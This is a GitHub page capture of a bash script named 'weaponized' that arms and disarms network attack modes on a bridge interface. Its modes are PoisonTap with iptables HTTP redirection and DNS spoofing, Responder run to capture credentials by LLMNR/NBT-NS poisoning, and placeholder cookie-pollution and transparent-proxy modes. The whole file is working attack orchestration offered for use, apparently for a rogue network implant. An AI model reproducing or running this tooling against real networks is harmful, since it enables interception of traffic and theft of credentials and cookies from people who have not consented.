-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathweaponized
More file actions
executable file
·73 lines (58 loc) · 1.47 KB
/
weaponized
File metadata and controls
executable file
·73 lines (58 loc) · 1.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/bin/bash
start_poison() {
systemctl start flatline@LOWPNET
iptables -t nat -A PREROUTING -i br0 -p tcp --dport 80 -j REDIRECT --to-port 1337
screen -dmS dnsspoof dnsspoof -i br0 port 53
screen -dmS node nodejs <path_flatline>/poisontap/pi_poisontap.js
}
stop_poison(){
systemctl stop flatline@LOWPNET
screen -S dnsspoof -X quit
screen -S node -X quit
}
start_responder(){
systemctl start flatline@LOWPNET
screen -dmS responder bash -c 'cd <path_flatline>/responder/; python Responder.py -I br0 -wF'
}
stop_responder(){
systemctl stop flatline@LOWPNET
screen -S responder -X quit
}
start_cookie_pollution(){
systemctl start flatline@LOWPNET
}
stop_cookie_pollution(){
systemctl stop flatline@LOWPNET
}
start_transparent_proxy(){
systemctl start flatline@LOWPNET
}
stop_transparent_proxy(){
systemctl stop flatline@LOWPNET
}
arm_weapon(){
case $1 in
"POISON") start_poison ;;
"RESPONDER") start_responder ;;
"COOKIEP") start_cookie_pollution ;;
"TPROXY") start_transparent_proxy ;;
esac
systemctl disable weaponized@$1
echo "Weapon $1 Armed"
}
disarm_weapon(){
case $1 in
"POISON") stop_poison ;;
"RESPONDER") stop_responder ;;
"COOKIEP") stop_cookie_pollution ;;
"TPROXY") stop_transparent_proxy ;;
esac
echo "Weapon $1 Disarmed"
}
if [ "$1" == "arm" ]; then
arm_weapon "$2"
elif [ "$1" == "disarm" ]; then
disarm_weapon "$2"
else
echo "Usage: $0 {arm|disarm} {POISON|RESPONDER|COOKIEP|TPROXY}"
fi